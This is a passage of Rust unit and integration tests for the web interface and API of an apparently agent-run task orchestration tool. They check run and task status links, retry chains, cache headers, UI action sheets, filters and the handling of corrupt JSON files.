24567                .unwrap_or(Value::Null)
24568        };
24569        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24570        assert!(
24571            by("bbbb")["superseded_by"].is_null(),
24572            "the latest attempt is not superseded by anything"
24573        );
24574        // Front end: the note has to be rendered, not just carried.
24575        assert!(APP_JS.contains("run.superseded_by"));
24576        assert!(APP_JS.contains("Superseded by"));
24577    }
24578
24579    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24580        let mut t = Task::new(
24581            "one task".to_owned(),
24582            "do it".to_owned(),
24583            PathBuf::from("/repo"),
24584            Source::Human,
24585        );
24586        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24587        t.status = status;
24588        t
24589    }
24590
24591    #[test]
24592    fn source_link_picks_the_page_that_filed_the_task() {
24593        let agent = |node: &str| Source::Agent {
24594            run: "20260904-014455-ab12".to_owned(),
24595            node: node.to_owned(),
24596        };
24597        let chat = source_link(&agent("chat")).expect("chat link");
24598        assert_eq!(chat.kind, "chat");
24599        assert_eq!(chat.id, "20260904-014455-ab12");
24600        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24601        let run = source_link(&agent("implement")).expect("run link");
24602        assert_eq!(
24603            (run.kind, run.href.as_str()),
24604            ("run", "#/runs/20260904-014455-ab12")
24605        );
24606        assert_eq!(source_link(&Source::Human), None);
24607        assert_eq!(
24608            source_link(&Source::Issue {
24609                number: 3,
24610                repo: "o/r".to_owned()
24611            }),
24612            None
24613        );
24614        let odd = source_link(&Source::Agent {
24615            run: "a b/c".to_owned(),
24616            node: "chat".to_owned(),
24617        })
24618        .expect("link");
24619        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24620    }
24621
24622    #[test]
24623    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24624        assert!(
24625            !APP_JS.contains("src.node === \"chat\""),
24626            "inline href rule is back"
24627        );
24628        assert!(
24629            APP_JS.matches("sourceLinkOf(").count() >= 4,
24630            "helper must serve every page"
24631        );
24632        assert!(
24633            APP_JS.matches("openChatLink(").count() >= 3,
24634            "the run page still needs its explicit chat link"
24635        );
24636        assert!(
24637            !APP_JS.contains("const openChat = el("),
24638            "the Queue card duplicates its source label link again"
24639        );
24640        assert!(
24641            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24642            "the task page must link a chat source label too"
24643        );
24644    }
24645
24646    #[test]
24647    fn task_ref_carries_the_source_link_for_a_chat_task() {
24648        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24649        t.source = Source::Agent {
24650            run: "20260904-014455-ab12".to_owned(),
24651            node: "chat".to_owned(),
24652        };
24653        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24654        let v = serde_json::to_value(&out).expect("json");
24655        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24656        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24657        assert_eq!(v["source_label"], t.source.label());
24658
24659        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24660        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24661            .expect("json");
24662        assert!(v["source_link"].is_null(), "{v}");
24663    }
24664
24665    #[test]
24666    fn task_view_serializes_source_link() {
24667        let mut t = Task::new(
24668            "t".to_owned(),
24669            "t".to_owned(),
24670            PathBuf::from("/repo"),
24671            Source::Agent {
24672                run: "20260901-000000-aaaa".to_owned(),
24673                node: "implement".to_owned(),
24674            },
24675        );
24676        t.runs.clear();
24677        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24678        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24679        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24680    }
24681
24682    #[test]
24683    fn task_view_serializes_urgent_flag() {
24684        let mut t = Task::new(
24685            "t".to_owned(),
24686            "t".to_owned(),
24687            PathBuf::from("/repo"),
24688            Source::Human,
24689        );
24690        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24691        assert_eq!(v["urgent"], false, "{v}");
24692        t.urgent = true;
24693        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24694        assert_eq!(v["urgent"], true, "{v}");
24695        assert!(APP_JS.contains("task.urgent === true"));
24696    }
24697
24698    #[tokio::test]
24699    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24700        let fx = Fixture::start().await;
24701        let runs = fx.runs();
24702        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24703        write_run(&runs, old, RunStatus::Blocked);
24704        write_run(&runs, new, RunStatus::Merged);
24705        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24706        fx.queue().put(&mut t).expect("put");
24707
24708        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24709        let task = &view["task"];
24710        assert_eq!(task["status"], "done");
24711        assert_eq!(task["is_latest"], false);
24712        assert_eq!(task["latest"]["short"], "bbbb");
24713        assert_eq!(task["finished_by"]["id"], new);
24714        assert_eq!(task["finished_by"]["outcome"], "merged");
24715        assert_eq!(task["closed_by_hand"], false);
24716        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24717        assert!(APP_JS.contains("finished_by"));
24718        assert!(APP_JS.contains("superseded by run"));
24719    }
24720
24721    #[tokio::test]
24722    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24723        let fx = Fixture::start().await;
24724        let runs = fx.runs();
24725        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24726        write_run(&runs, old, RunStatus::Stalled);
24727        write_run(&runs, new, RunStatus::Blocked);
24728        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24729        fx.queue().put(&mut t).expect("put");
24730
24731        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24732        assert_eq!(task["status"], "held");
24733        assert_eq!(task["is_latest"], true);
24734        assert!(task["latest"].is_null());
24735        assert!(task["finished_by"].is_null());
24736        assert_eq!(task["closed_by_hand"], false);
24737    }
24738
24739    #[tokio::test]
24740    async fn a_direct_run_has_no_task_outcome() {
24741        let fx = Fixture::start().await;
24742        let runs = fx.runs();
24743        let id = "20260901-000000-aaaa";
24744        write_run(&runs, id, RunStatus::Blocked);
24745        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24746        assert!(view["task"].is_null());
24747    }
24748
24749    #[test]
24750    fn task_outcome_does_not_guess_a_finishing_run() {
24751        let a = "20260901-000000-aaaa";
24752        let b = "20260901-000000-bbbb";
24753        let c = "20260901-000000-cccc";
24754        let dir = tempfile::tempdir().expect("tempdir");
24755        write_run(dir.path(), a, RunStatus::Blocked);
24756        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24757        // `c` has no record: unreadable.
24758        let read = |id: &str| read_run(dir.path(), id).ok();
24759        // Neither a blocked run nor a no-op finished the task; the newest run is
24760        // unreadable and still named.
24761        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24762        let out = task_outcome(&t, a, 3, read);
24763        assert!(out.finished_by.is_none());
24764        assert!(out.closed_by_hand);
24765        let latest = out.latest.expect("latest");
24766        assert_eq!(latest.id, c);
24767        assert_eq!(latest.status, None);
24768        assert_eq!(latest.outcome, "record unreadable");
24769
24770        // A Ready run settles the task as done, so it is named as the finisher.
24771        write_run(dir.path(), c, RunStatus::Ready);
24772        let t = outcome_task(&[a, c], TaskStatus::Done);
24773        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24774        assert_eq!(out.finished_by.expect("finisher").id, c);
24775        assert!(!out.closed_by_hand);
24776
24777        // A resumed run id repeats: it is still the latest by id.
24778        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24779        assert!(task_outcome(&t, a, 3, read).is_latest);
24780    }
24781
24782    #[tokio::test]
24783    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24784        // The list route has known this since the card fix above; the detail
24785        // route — what an operator actually opens from a notification about
24786        // a blocked run — did not, and went on showing a bare red BLOCKED
24787        // chip for a run a retry had already finished.
24788        let fx = Fixture::start().await;
24789        let q = fx.queue();
24790        let runs = fx.runs();
24791        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24792        write_run(&runs, first, RunStatus::Blocked);
24793        write_run(&runs, second, RunStatus::Merged);
24794
24795        let mut t = Task::new(
24796            "one task".to_owned(),
24797            "do it".to_owned(),
24798            PathBuf::from("/repo"),
24799            Source::Human,
24800        );
24801        t.runs = vec![first.to_owned(), second.to_owned()];
24802        q.put(&mut t).expect("put");
24803
24804        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24805        assert_eq!(earlier["superseded_by"], "dddd");
24806        assert_eq!(earlier["latest_attempt"]["id"], second);
24807        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24808        assert_eq!(
24809            earlier["latest_attempt"]["resolved"], true,
24810            "the run that replaced it landed, so this one reads as settled"
24811        );
24812
24813        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24814        assert!(
24815            later["superseded_by"].is_null(),
24816            "the latest attempt is not superseded by anything"
24817        );
24818        assert!(
24819            later["latest_attempt"].is_null(),
24820            "the latest attempt has no later attempt of its own"
24821        );
24822
24823        // Front end: the detail page has to read the field this route now
24824        // carries, downgrade the chip, and link to the run that replaced it —
24825        // not just repeat the list card's own logic under a different name.
24826        // The link is built off `latest_attempt.id`, the server-resolved
24827        // full id, never a bare short string a client would have to guess a
24828        // full run from.
24829        assert!(APP_JS.contains("run.latest_attempt"));
24830        assert!(APP_JS.contains("data-superseded"));
24831        assert!(APP_JS.contains("#/runs/${latest.id}"));
24832    }
24833
24834    #[tokio::test]
24835    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24836        // A -> B -> C, all Blocked except the last. A's immediate successor
24837        // (superseded_by) is B, which is itself unresolved; what an operator
24838        // opening A's page actually needs is where the task's story stands
24839        // *now* - C, not B - without depending on whether C happens to be in
24840        // whatever page of /api/runs the client last cached.
24841        let fx = Fixture::start().await;
24842        let q = fx.queue();
24843        let runs = fx.runs();
24844        let (a, b, c) = (
24845            "20260901-000000-aaaa",
24846            "20260901-000000-bbbb",
24847            "20260901-000000-cccc",
24848        );
24849        write_run(&runs, a, RunStatus::Blocked);
24850        write_run(&runs, b, RunStatus::Blocked);
24851        write_run(&runs, c, RunStatus::Merged);
24852
24853        let mut t = Task::new(
24854            "retried twice".to_owned(),
24855            "do it".to_owned(),
24856            PathBuf::from("/repo"),
24857            Source::Human,
24858        );
24859        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24860        q.put(&mut t).expect("put");
24861
24862        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24863        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24864        assert_eq!(
24865            view["latest_attempt"]["id"], c,
24866            "the chain's current head, not the intermediate Blocked retry"
24867        );
24868        assert_eq!(view["latest_attempt"]["resolved"], true);
24869
24870        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24871        assert_eq!(mid["latest_attempt"]["id"], c);
24872        assert_eq!(mid["latest_attempt"]["resolved"], true);
24873    }
24874
24875    #[tokio::test]
24876    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24877        let fx = Fixture::start().await;
24878        let q = fx.queue();
24879        let runs = fx.runs();
24880
24881        // Still Blocked: the task is not resolved, so the older run must not
24882        // read as settled either.
24883        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24884        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24885        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24886        let mut t1 = Task::new(
24887            "still stuck".to_owned(),
24888            "do it".to_owned(),
24889            PathBuf::from("/repo"),
24890            Source::Human,
24891        );
24892        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24893        q.put(&mut t1).expect("put");
24894        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24895        assert_eq!(view1["latest_attempt"]["resolved"], false);
24896        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24897        assert_eq!(view1["latest_attempt"]["done"], true);
24898
24899        // Still running: the successor exists and must be reported as such.
24900        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24901        write_run(&runs, run_a, RunStatus::Blocked);
24902        write_run(&runs, run_b, RunStatus::Implementing);
24903        let mut t3 = Task::new(
24904            "retrying".to_owned(),
24905            "do it".to_owned(),
24906            PathBuf::from("/repo"),
24907            Source::Human,
24908        );
24909        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24910        q.put(&mut t3).expect("put");
24911        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24912        assert_eq!(view3["latest_attempt"]["id"], run_b);
24913        assert_eq!(view3["latest_attempt"]["resolved"], false);
24914        assert_eq!(view3["latest_attempt"]["done"], false);
24915
24916        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24917        // to check - not a confirmed finish, so this must not read as
24918        // resolved either, even though the run is done in the sense that
24919        // nothing is still running.
24920        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24921        write_run(&runs, noop_a, RunStatus::Blocked);
24922        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24923        let mut t2 = Task::new(
24924            "claims done".to_owned(),
24925            "do it".to_owned(),
24926            PathBuf::from("/repo"),
24927            Source::Human,
24928        );
24929        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24930        q.put(&mut t2).expect("put");
24931        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24932        assert_eq!(
24933            view2["latest_attempt"]["resolved"], false,
24934            "an unverified no-op claim must not read as a confirmed finish"
24935        );
24936
24937        // Front end: an unresolved successor must not carry the "finished
24938        // this work" note or the muted chip treatment.
24939        assert!(APP_JS.contains("latest.resolved"));
24940        // ...but the link to it shows as soon as it exists, labelled by state
24941        // and without the "finished" wording or the muted chip.
24942        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24943        assert!(APP_JS.contains("Latest attempt: "));
24944        assert!(APP_JS.contains("in flight"));
24945        assert!(APP_JS.contains("not resolved"));
24946    }
24947
24948    #[tokio::test]
24949    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24950        let fx = Fixture::start().await;
24951        // No cache header at all meant browsers invented their own policy,
24952        // and one did: a phone went on showing "Candidates must be folded
24953        // before deleting. Run `magi fold` first." - deleted two releases
24954        // earlier - from a deck that no longer contained the sentence. The
24955        // button it named was right there, and unreachable.
24956        let js = fx.get("/app.js").await;
24957        assert_eq!(js.status, 200);
24958        let tag = js
24959            .header("etag")
24960            .expect("an etag to revalidate against")
24961            .to_owned();
24962        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24963        assert_eq!(
24964            js.header("cache-control"),
24965            Some("no-cache, must-revalidate"),
24966            "the phone has to ask every time"
24967        );
24968
24969        // And the asking has to be cheap, or `must-revalidate` just means
24970        // "send the whole interface on every load".
24971        let again = fx
24972            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24973            .await;
24974        assert_eq!(
24975            again.status, 304,
24976            "a deck it already has costs one round trip"
24977        );
24978        assert!(again.body.is_empty(), "304 carries no body");
24979
24980        // A weakened tag from a proxy still matches; a different build does
24981        // not, which is the case that has to deliver the new interface.
24982        let weak = fx
24983            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24984            .await;
24985        assert_eq!(weak.status, 304);
24986        let stale = fx
24987            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24988            .await;
24989        assert_eq!(stale.status, 200, "an older build must be replaced");
24990        assert!(stale.body.contains("renderRunActions"));
24991    }
24992
24993    #[test]
24994    fn the_task_detail_has_an_actions_fab_and_sheet() {
24995        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24996        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24997        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24998        // Shown only on the task route, closed everywhere else.
24999        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25000        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25001        // Refreshed whenever the detail redraws, including the loading state.
25002        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25003        assert!(APP_JS.contains("renderTaskActions(null);"));
25004        // Same action renderers as the Queue card. Bound this check by the
25005        // next function, since additional task controls can grow the sheet.
25006        let (_, sheet) = APP_JS
25007            .split_once("function renderTaskActions(task) {")
25008            .expect("sheet renderer");
25009        let (body, _) = sheet
25010            .split_once("\nfunction openTaskActions() {")
25011            .expect("end of sheet renderer");
25012        assert!(body.contains("changePriority("));
25013        assert!(body.contains("openTaskEdit(task)"));
25014        assert!(body.contains("renderTaskHoldBox(host"));
25015        assert!(body.contains("renderTaskDoneBox(host"));
25016        assert!(body.contains("renderTaskDeleteBox(host"));
25017        assert!(APP_JS.contains("API.priority(id)"));
25018        assert!(APP_JS.contains("API.deleteTask(id)"));
25019        // A deleted task sends the operator back to the queue.
25020        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25021        // A refusal is shown inside the sheet.
25022        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25023    }
25024
25025    #[test]
25026    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25027        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25028        let actions = INDEX_HTML
25029            .find("id=\"run-actions-box\"")
25030            .expect("actions box");
25031        assert!(task < actions, "the task entry comes first in the sheet");
25032        assert!(APP_JS.contains("renderRunTaskEntry"));
25033        assert!(APP_JS.contains("\"Open task \""));
25034        // A run without a task says why there is nothing to open.
25035        assert!(APP_JS.contains("started directly, no task"));
25036        assert!(APP_JS.contains("sheet-task-link"));
25037        assert!(APP_JS.contains("task-chip-link"));
25038    }
25039
25040    #[test]
25041    fn the_deck_never_sends_the_operator_to_a_terminal() {
25042        // The whole point of the phone UI is that a terminal is not needed.
25043        // The delete control used to answer with "Run `magi fold` first."
25044        assert!(
25045            !APP_JS.contains("Run `magi fold` first"),
25046            "the deck must offer the fold, not prescribe a shell command"
25047        );
25048        assert!(APP_JS.contains("foldRun:"));
25049        assert!(APP_JS.contains("resumeRun:"));
25050        assert!(APP_JS.contains("renderRunActions"));
25051
25052        // Folding is destructive and armed in two steps, like deleting.
25053        assert!(APP_JS.contains("armedFold"));
25054        assert!(APP_JS.contains("Yes, fold worktrees"));
25055
25056        // And the copy has to say that the two actions are opposites, because
25057        // folding throws away exactly what a resume would continue from.
25058        assert!(APP_JS.contains("can no longer be resumed"));
25059    }
25060
25061    #[test]
25062    fn a_finished_run_explains_itself_with_its_own_last_line() {
25063        // The deck used to answer "why did this stop?" with a sentence chosen
25064        // by status alone. Run e633 stalled because two judges answered with
25065        // the wrong JSON shape and its card said "The panel collapsed on
25066        // agent quota" - with `quota: []` in the record and a quota-loss
25067        // counter right above it that correctly said nothing.
25068        assert!(
25069            !APP_JS.contains("collapsed on agent quota"),
25070            "a stall must not be explained by a cause the deck did not check"
25071        );
25072        assert!(
25073            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25074            "and a block must not offer a guess with an `or` in it"
25075        );
25076
25077        // The reason it does have is `run.event`, which must reach finished
25078        // runs: gating it on movement hid the recorded truth at the one moment
25079        // the operator is reading the card to find out what happened.
25080        assert!(
25081            APP_JS.contains("setText(r.event, run.event || \"\")"),
25082            "the run's last line is rendered unconditionally"
25083        );
25084        assert!(
25085            !APP_JS.contains("moving && run.event"),
25086            "and never gated on the run still moving"
25087        );
25088
25089        // Quota keeps its own counter, fed by the number actually recorded.
25090        assert!(APP_JS.contains("lost to quota"));
25091    }
25092
25093    /// The runs tree (section) and the state chips (waiting/done) are two
25094    /// independent lenses ANDed together in `renderRuns`, and some pairings
25095    /// can never both be true for any run - every "Landed"/"Ended" run is
25096    /// done by construction, so pairing either with "Active" or "In flight"
25097    /// always rendered zero cards with the filter bar still claiming
25098    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25099    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25100    /// a handful of (waiting, status) shapes standing in for the run
25101    /// lifecycle, because `cargo test` cannot execute the front end.
25102    ///
25103    /// That stand-in list is itself the part that drifted twice in review:
25104    /// once shipped with `waiting: true` paired with a done status the
25105    /// lifecycle cannot produce, then over-corrected into treating every
25106    /// waiting run as never done - which made "Waiting on you" look
25107    /// incompatible with "Done" even for the one real, reachable shape
25108    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25109    /// that combination. This test parses the shapes and the done-rule back
25110    /// out of `APP_JS`, reimplements `runSection` and the five state
25111    /// predicates independently in Rust, and checks the resulting
25112    /// section/filter compatibility table against the lifecycle rules by
25113    /// hand - so either direction of drift fails it again.
25114    #[test]
25115    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25116        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25117        let shapes_body_start =
25118            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25119        let shapes_close = APP_JS[shapes_body_start..]
25120            .find("].map(")
25121            .expect("the shape list is closed by its done-computing .map(...)")
25122            + shapes_body_start;
25123        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25124
25125        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25126        for entry in shapes_src.split('{').skip(1) {
25127            let waiting = entry.contains("waiting: true");
25128            let dead = entry.contains("live: \"dead\"");
25129            let status_at =
25130                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25131            let status_end = entry[status_at..]
25132                .find('"')
25133                .expect("the status string is closed")
25134                + status_at;
25135            let parked = entry.contains("display_status: \"parked\"");
25136            shapes.push((
25137                waiting,
25138                entry[status_at..status_end].to_string(),
25139                dead,
25140                parked,
25141            ));
25142        }
25143        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25144
25145        // The done rule itself (`!["implementing"].includes(shape.status)`),
25146        // read out of the source rather than hardcoded, so a renamed
25147        // in-flight status can't silently make every parsed shape "done".
25148        let done_rule_marker = "done: !";
25149        let done_rule_at = APP_JS[shapes_close..]
25150            .find(done_rule_marker)
25151            .expect("the done rule follows the shape list")
25152            + shapes_close
25153            + done_rule_marker.len();
25154        let includes_at = APP_JS[done_rule_at..]
25155            .find(".includes(shape.status)")
25156            .expect("the done rule ends in .includes(shape.status)")
25157            + done_rule_at;
25158        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25159            .trim()
25160            .trim_start_matches('[')
25161            .trim_end_matches(']')
25162            .split(',')
25163            .map(|s| s.trim().trim_matches('"'))
25164            .filter(|s| !s.is_empty())
25165            .collect();
25166
25167        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25168            .into_iter()
25169            .map(|(waiting, status, dead, parked)| {
25170                let done = !not_done.contains(&status.as_str());
25171                (waiting, status, dead, parked, done)
25172            })
25173            .collect();
25174
25175        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25176        // outright, then merged/ready land, stalled/blocked/failed/
25177        // verified_noop end, and everything else is still in flight.
25178        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25179            if waiting {
25180                return "waiting";
25181            }
25182            if dead
25183                && !parked
25184                && !matches!(
25185                    status,
25186                    "merged"
25187                        | "ready"
25188                        | "stalled"
25189                        | "blocked"
25190                        | "failed"
25191                        | "verified_noop"
25192                        | "superseded"
25193                        | "already_in_base"
25194                )
25195            {
25196                return "stale";
25197            }
25198            match status {
25199                "merged" | "ready" => "landed",
25200                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25201                | "already_in_base" => "ended",
25202                _ => "flight",
25203            }
25204        }
25205
25206        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25207        // way.
25208        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25209            match filter_key {
25210                "active" => !done,
25211                "flight" => !done && !waiting && !dead,
25212                "stale" => !done && !waiting && dead,
25213                "waiting" => waiting,
25214                "done" => done,
25215                "all" => true,
25216                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25217            }
25218        }
25219
25220        let compatible = |section: &str, filter_key: &str| {
25221            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25222                run_section(*waiting, status, *dead, *parked) == section
25223                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25224            })
25225        };
25226
25227        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25228        // (active, flight, stale, waiting, done, all) - hand-derived from the
25229        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25230        // currently contains.
25231        let expected = [
25232            ("waiting", [true, false, false, true, true, true]),
25233            ("stale", [true, false, true, false, false, true]),
25234            ("flight", [true, true, false, false, false, true]),
25235            ("landed", [false, false, false, false, true, true]),
25236            ("ended", [false, false, false, false, true, true]),
25237        ];
25238        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25239
25240        for (section, wants) in expected {
25241            for (filter_key, want) in filter_keys.iter().zip(wants) {
25242                assert_eq!(
25243                    compatible(section, filter_key),
25244                    want,
25245                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25246                );
25247            }
25248        }
25249
25250        // The compatibility check exists only to be acted on: both pickers
25251        // must actually consult it rather than just render its answer.
25252        assert!(
25253            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25254        );
25255        assert!(APP_JS.contains(
25256            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25257        ));
25258        assert!(APP_JS.contains(
25259            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25260        ));
25261    }
25262
25263    #[tokio::test]
25264    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25265        // An operator-named directory - git checkout or not - is never
25266        // second-guessed, even when it does not exist at all: only the
25267        // flag's own unmodified `.` default is ever eligible for discovery.
25268        let dir = tempfile::tempdir().expect("tempdir");
25269        let explicit = dir.path().join("not-a-checkout");
25270        std::fs::create_dir_all(&explicit).expect("create dir");
25271        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25272
25273        let missing = dir.path().join("does-not-exist-at-all");
25274        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25275    }
25276
25277    #[test]
25278    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25279        assert!(APP_JS.contains("function statsDonutArcs"));
25280        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25281        // A bucket click filters by the statuses src/stats.rs counts in it.
25282        assert!(APP_JS.contains("function statusInBucket"));
25283        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25284        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25285        let buckets = [
25286            "merged",
25287            "ready",
25288            "in_progress",
25289            "blocked",
25290            "failed",
25291            "verified_noop",
25292            "superseded",
25293            "stalled",
25294        ];
25295        for key in buckets {
25296            let var = format!("--verdict-{key}:");
25297            // Light, OS-dark and pinned-dark blocks each define it.
25298            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25299            assert!(
25300                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25301                "{key}"
25302            );
25303        }
25304    }
25305
25306    #[tokio::test]
25307    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25308        let dir = tempfile::tempdir().expect("tempdir");
25309        let queue = Queue::at(dir.path().join("queue"));
25310        let talks = Talks::at(dir.path().join("talks"));
25311        std::fs::create_dir_all(queue.root()).unwrap();
25312        std::fs::create_dir_all(talks.root()).unwrap();
25313
25314        // Put a corrupt json file in both stores
25315        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25316        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25317
25318        // Valid task and talk
25319        let mut task = Task::new(
25320            "title".into(),
25321            "inst".into(),
25322            PathBuf::from("/repo"),
25323            Source::Human,
25324        );
25325        task.id = "20261019-123456-abcd".into();
25326        // Write manually so it's a valid file
25327        std::fs::write(
25328            queue.path_of(&task.id),
25329            serde_json::to_string(&task).unwrap(),
25330        )
25331        .unwrap();
25332
25333        let talk_id = "20261019-234567-cdef";
25334        seed_talk_at(&talks, talk_id, "open");
25335
25336        // Exact match should succeed without failing on the corrupt json file
25337        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25338        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25339
25340        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25341        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25342        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25343    }
25344
25345    #[tokio::test]
25346    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25347        let home = tempfile::tempdir().unwrap();
25348        let ui = delta_test_ui(home.path());
25349        // A full history traversal would fail even with no questions.
25350        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25351        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25352        assert!(
25353            questions_list(State(ui.clone()))
25354                .await
25355                .unwrap()
25356                .0
25357                .is_empty()
25358        );
25359        assert!(
25360            question_origins(State(ui.clone()))
25361                .await
25362                .unwrap()
25363                .0
25364                .is_empty()
25365        );
25366        let mut question = Question::new(
25367            "run-history".into(),
25368            "review".into(),
25369            "seat".into(),
25370            "Useful question".into(),
25371            "Useful detail".into(),
25372            vec![],
25373        );
25374        ui.questions.put(&mut question).unwrap();
25375        let core = questions_core(State(ui.clone())).await.unwrap().0;
25376        assert_eq!(core.len(), 1);
25377        assert_eq!(core[0].question.summary, "Useful question");
25378        assert!(!core[0].can_consult_chat);
25379        assert!(core[0].origin_chat.is_none());
